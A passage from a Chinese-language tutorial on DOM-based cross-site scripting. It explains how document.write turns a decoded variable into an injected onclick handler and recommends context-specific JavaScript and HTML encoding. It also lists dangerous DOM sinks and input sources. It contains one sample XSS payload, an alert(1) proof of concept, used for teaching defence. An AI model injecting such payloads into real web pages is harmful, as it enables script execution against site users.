但是當document.write輸出數據到HTML頁面時,瀏覽器重新渲染了頁面。在<script>標簽執行時,已經對變量x進行了解碼,其后document.write再運行時,其參數就變成了: <a href='http://cracer.com/blog/ 'onclick=alert(1);//' ' >test</a>
XSS因此而產生。
如果改成HtmlEncode也是如此。
正確的防御方法是什么呢?
首先,在$var
輸出到<script>
時,應該執行一次javascriptEncode;其次,在document.write輸出到HTML頁面時,要分具體情況看待:如果是輸出到事件或者腳本,則要再做一
javascriptEncode;如果是輸出到HTML內容或者屬性,則要做一次HtmlEncode。
也就是說,從JavaScript輸出到HTML頁面,也相當於一次XSS輸出的過程,需要分語境使用不同的編碼函數。
會觸發DOM Based XSS的地方很多,以下幾個地方是JavaScript輸出到HTML頁面的必經之路。
a) document.write() document.writeln()
b) xxx.innerHTML= xxx.outerHTML=
c) innerHTML.replace
d) document.attachEvent() window.attachEvent()
e) document.location.replace() document.location.assign()
…
除了服務器端直接輸出變量到Javascript之外,還有以下幾個地方可能會成為DOM Based XSS的輸入點,也需要重點關注。
a) 頁面中所有的inputs框
b) window.location(href、hash等)
c) window.name
d) document.referrer
e) document.cookie
f) localstorage
g) XMLHttpRequest返回的數據
換個角度看XSS的風險
從業務角度看XSS風險,用戶之間有互動的頁面的風險肯定比沒有互動的頁面的風險高。應重點修補風險高的頁面。
理論上,XSS漏洞雖然復雜,但卻是可以徹底解決的。在設計XSS解決方案時,應該深入理解XSS攻擊的原理,針對不同的場景使用不同的方法。同時有很多開源項目為我們提供了參考。